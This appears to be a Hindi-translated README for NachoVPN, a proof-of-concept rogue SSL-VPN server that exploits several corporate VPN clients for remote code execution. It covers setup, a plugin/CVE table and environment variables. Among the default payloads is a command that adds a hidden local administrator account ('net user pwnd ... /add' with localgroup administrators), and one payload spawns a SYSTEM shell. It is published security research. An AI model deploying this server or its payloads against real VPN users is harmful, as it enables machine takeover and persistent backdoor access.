
एक स्वादिष्ट, लेकिन दुर्भावनापूर्ण SSL-VPN सर्वर 🌮
NachoVPN एक प्रूफ ऑफ कॉन्सेप्ट (Proof of Concept) है जो एक दुष्ट (rogue) VPN सर्वर का उपयोग करके SSL-VPN क्लाइंट्स के शोषण को प्रदर्शित करता है।
यह प्लगइन-आधारित आर्किटेक्चर का उपयोग करता है ताकि अतिरिक्त SSL-VPN उत्पादों के लिए समर्थन समुदाय द्वारा योगदान किया जा सके। यह वर्तमान में कई लोकप्रिय कॉर्पोरेट VPN उत्पादों का समर्थन करता है, जैसे Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, और Ivanti Connect Secure।
अधिक जानकारी के लिए, हमारी ब्लॉग पोस्ट और HackFest Hollywood 2024 प्रस्तुति [स्लाइड्स|वीडियो] देखें।
NachoVPN को Ubuntu 22.04 पर बनाया और परीक्षण किया गया है।
python3-nftables और nftables इंस्टॉल करें
वैकल्पिक रूप से sudo की आवश्यकता से बचने के लिए setcap का उपयोग करें:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
IP फॉरवर्डिंग सक्षम करें:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN को pip का उपयोग करके GitHub से इंस्टॉल किया जा सकता है। ध्यान दें कि इसके लिए git इंस्टॉल होना आवश्यक है।
सबसे पहले, एक वर्चुअल एनवायरनमेंट बनाएँ।
Linux पर, सुनिश्चित करें कि वर्चुअल एनवायरनमेंट के पास सिस्टम site-packages तक पहुँच हो, ताकि nftables काम करे:
python3 -m venv env --system-site-packages
source env/bin/activate
Windows पर, nftables (और इस प्रकार पैकेट फॉरवर्डिंग) अक्षम है, इसलिए उपयोग करें:
python -m venv env
.\env\Scripts\activate
फिर, NachoVPN इंस्टॉल करें:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
यदि आप Docker का उपयोग करना पसंद करते हैं, तो आप GitHub Container Registry से कंटेनर खींच सकते हैं:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
सबसे पहले, इस रिपॉजिटरी को क्लोन करें, और pip के माध्यम से setuptools और wheel इंस्टॉल करें। फिर आप setup.py स्क्रिप्ट चला सकते हैं:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
यह dist निर्देशिका में एक wheel फ़ाइल उत्पन्न करेगा, जिसे pip के साथ इंस्टॉल किया जा सकता है:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
वैकल्पिक रूप से, स्थानीय विकास के लिए आप पैकेज को editable मोड में इंस्टॉल कर सकते हैं:
pip install -e .
आप निम्न कमांड के साथ कंटेनर इमेज बना सकते हैं:
docker build -t nachovpn:latest .
सर्वर को स्टैंडअलोन के रूप में चलाने के लिए, उपयोग करें:
python -m nachovpn.server
वैकल्पिक रूप से, आप Docker का उपयोग करके सर्वर चला सकते हैं:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
यह certbot का उपयोग करके SERVER_FQDN के लिए एक प्रमाणपत्र उत्पन्न करेगा, और इसे certs निर्देशिका में सहेजेगा, जिसे हमने कंटेनर में माउंट किया है।
वैकल्पिक रूप से, परीक्षण उद्देश्यों के लिए, आप SKIP_CERTBOT एनवायरनमेंट वेरिएबल सेट करके प्रमाणपत्र निर्माण को छोड़ सकते हैं।
इसके बजाय यह एक सेल्फ-साइनेड प्रमाणपत्र उत्पन्न करेगा।
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
सुविधा के लिए एक उदाहरण docker-compose फ़ाइल भी प्रदान की गई है।
आप लॉगिंग की विस्तृतता बढ़ाने के लिए nachovpn को -d या --debug कमांड लाइन आर्ग्युमेंट्स के साथ चला सकते हैं, जो डिबगिंग में सहायता कर सकता है।
वैकल्पिक रूप से, यदि लॉगिंग बहुत अधिक शोरगुल वाली है, तो आप इसके बजाय q या --quiet कमांड लाइन आर्ग्युमेंट का उपयोग कर सकते हैं।
NachoVPN निम्नलिखित प्लगइन्स और क्षमताओं का समर्थन करता है:
/pulse URL पर जाकर ट्रिगर किया जा सकता है।/sonicwall URL पर जाकर ट्रिगर किया जा सकता है। इसके लिए आवश्यक है कि क्लाइंट मशीन पर SonicWall Connect Agent इंस्टॉल हो।/delinea URL पर जाकर ट्रिगर किया जा सकता है।NACAgent.exe पेलोड को एक सेल्फ-साइनेड प्रमाणपत्र के साथ हस्ताक्षरित करेगा। परीक्षण उद्देश्यों के लिए, आप एक्सप्लॉइट ट्रिगर करने से पहले इस CA प्रमाणपत्र को /sonicwall/ca.crt से डाउनलोड और इंस्टॉल कर सकते हैं। प्रोडक्शन उपयोग-मामलों के लिए, आपको एक सार्वजनिक CA से वैध कोडसाइनिंग प्रमाणपत्र प्राप्त करना होगा, अपने NACAgent.exe पेलोड पर हस्ताक्षर करना होगा, और इसे payloads निर्देशिका में रखना होगा (या docker का उपयोग करने पर इसे /app/payloads में वॉल्यूम माउंट करें)।NACAgent.exe पेलोड उत्पन्न किया जाता है, और payloads निर्देशिका में लिखा जाता है। यह बस वर्तमान उपयोगकर्ता के डेस्कटॉप पर SYSTEM के रूप में चलने वाली एक नई cmd.exe प्रक्रिया को स्पॉन करता है।किसी प्लगइन को अक्षम करने के लिए, इसे DISABLED_PLUGINS एनवायरनमेंट वेरिएबल में जोड़ें। उदाहरण के लिए:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN को एनवायरनमेंट वेरिएबल्स का उपयोग करके कॉन्फ़िगर किया जाता है। यह इसे कंटेनराइज़्ड डिप्लॉयमेंट्स के साथ आसानी से संगत बनाता है।
वैश्विक एनवायरनमेंट वेरिएबल्स:
प्लगइन-विशिष्ट एनवायरनमेंट वेरिएबल्स:
हम निम्नलिखित शमन उपायों की अनुशंसा करते हैं:
हम योगदान का स्वागत करते हैं! कृपया एक issue खोलें या Pull Request बनाएँ।
यदि आप एक नया प्लगइन विकसित करने में रुचि रखते हैं, तो आरंभ करने के लिए आप ExamplePlugin पर एक नज़र डाल सकते हैं।
NachoVPN MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।
| प्लगइन | उत्पाद | CVE | Windows RCE | macOS RCE | विशेषाधिकार प्राप्त | URI हैंडलर | पैकेट कैप्चर | डेमो |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (आंशिक सुधार) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (बायपास किया गया) | ✅ | ✅ | ✅ | ✅ (केवल विंडोज़ - 22.8R1 में डिफ़ॉल्ट रूप से अक्षम) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
msi_version.txt फ़ाइल downloads निर्देशिका में मौजूद हों। इन्हें या तो मैन्युअल रूप से जोड़ें, या डाउनलोड करने के लिए msi_downloader.py स्क्रिप्ट चलाएँ।GlobalProtect.msi.old और GlobalProtect64.msi.old downloads फ़ोल्डर में मौजूद हैं। इन फ़ाइलों में 6.2.6 से पहले के संस्करण के लिए असंशोधित MSI इंस्टॉलर होने चाहिए (जैसे 6.2.5)।| वेरिएबल | विवरण | डिफ़ॉल्ट |
|---|
SERVER_FQDN | सर्वर का पूर्ण योग्य डोमेन नाम। | connect.nachovpn.local |
EXTERNAL_IP | सर्वर का बाहरी IP पता। | 127.0.0.1 |
WRITE_PCAP | कैप्चर की गई PCAP फ़ाइलों को डिस्क पर लिखना है या नहीं। | false |
DISABLED_PLUGINS | अक्षम करने के लिए प्लगइन्स की अल्पविराम-पृथक सूची। | |
USE_DYNAMIC_SERVER_THUMBPRINT | सर्वर प्रमाणपत्र थंबप्रिंट की गणना सर्वर से गतिशील रूप से करनी है या नहीं (प्रॉक्सी के पीछे होने पर उपयोगी)। | false |
SERVER_SHA1_THUMBPRINT | सर्वर प्रमाणपत्र के लिए गणना किए गए SHA1 थंबप्रिंट को ओवरराइड करने की अनुमति देता है। | |
SERVER_MD5_THUMBPRINT | सर्वर प्रमाणपत्र के लिए गणना किए गए MD5 थंबप्रिंट को ओवरराइड करने की अनुमति देता है। | |
SMB_ENABLED | SMB शेयर को सक्षम करता है, जो टनल के माध्यम से \\10.10.0.1\<SMB_SHARE_NAME> पर उपलब्ध है | false |
SMB_SHARE_NAME | SMB शेयर के लिए उपयोग किया जाने वाला नाम | SHARE |
SMB_SHARE_PATH | SMB शेयर के लिए उपयोग की जाने वाली निर्देशिका का पथ | smb |
TUNNEL_PRIVATE | true पर सेट होने पर, टनलिंग सक्षम करता है लेकिन VPN क्लाइंट्स के लिए इंटरनेट फॉरवर्डिंग अक्षम करता है। क्लाइंट केवल SMB शेयर तक पहुँच सकते हैं। | false |
TUNNEL_FULL | true पर सेट होने पर, पूर्ण टनलिंग सक्षम करता है और VPN क्लाइंट्स को इंटरनेट तक पहुँचने की अनुमति देता है। साथ ही TUNNEL_PRIVATE=true का संकेत देता है। | false |
| वेरिएबल | विवरण | डिफ़ॉल्ट |
|---|
VPN_NAME | VPN प्रोफ़ाइल का नाम, जो Cisco AnyConnect के लिए क्लाइंट को प्रस्तुत किया जाता है। | NachoVPN |
PULSE_LOGON_SCRIPT | Pulse Secure लॉगऑन स्क्रिप्ट का पथ। | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | macOS के लिए Pulse Secure लॉगऑन स्क्रिप्ट का पथ। | |
PULSE_DNS_SUFFIX | Pulse Secure कनेक्शन्स के लिए उपयोग किया जाने वाला DNS सफ़िक्स। | nachovpn.local |
PULSE_USERNAME | Pulse Secure लॉगऑन डायलॉग में पहले से भरा जाने वाला उपयोगकर्ता नाम। | |
PULSE_SAVE_CONNECTION | उपयोगकर्ता के क्लाइंट में Pulse Secure कनेक्शन सहेजना है या नहीं। | false |
PULSE_ANONYMOUS_AUTH | Pulse Secure कनेक्शन्स के लिए अनाम प्रमाणीकरण का उपयोग करना है या नहीं। true पर सेट होने पर, उपयोगकर्ता से उपयोगकर्ता नाम या पासवर्ड नहीं पूछा जाएगा। | false |
PULSE_HOST_CHECKER_RULES_FILE | ICS के लिए रजिस्ट्री-आधारित होस्ट-चेकर नियमों की सूची वाली एक JSON फ़ाइल। उदाहरण src/nachovpn/plugins/pulse/test/example_rules.json में देखें | |
PALO_ALTO_MSI_ADD_FILE | Palo Alto इंस्टॉलर MSI में जोड़ी जाने वाली फ़ाइल का पथ। | |
PALO_ALTO_MSI_COMMAND | Palo Alto इंस्टॉलर MSI द्वारा निष्पादित की जाने वाली कमांड। | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | यदि MSI इंस्टॉलर पहले से payloads निर्देशिका में मौजूद है तो उसकी पैचिंग को बलपूर्वक करना है या नहीं। | false |
PALO_ALTO_PKG_COMMAND | macOS पर Palo Alto इंस्टॉलर PKG द्वारा निष्पादित की जाने वाली कमांड। | touch /tmp/pwnd |
CISCO_COMMAND_WIN | Windows पर Cisco AnyConnect OnConnect.vbs स्क्रिप्ट द्वारा निष्पादित की जाने वाली कमांड। | calc.exe |
CISCO_COMMAND_MACOS | macOS पर Cisco AnyConnect OnConnect.sh स्क्रिप्ट द्वारा निष्पादित की जाने वाली कमांड। | touch /tmp/pwnd |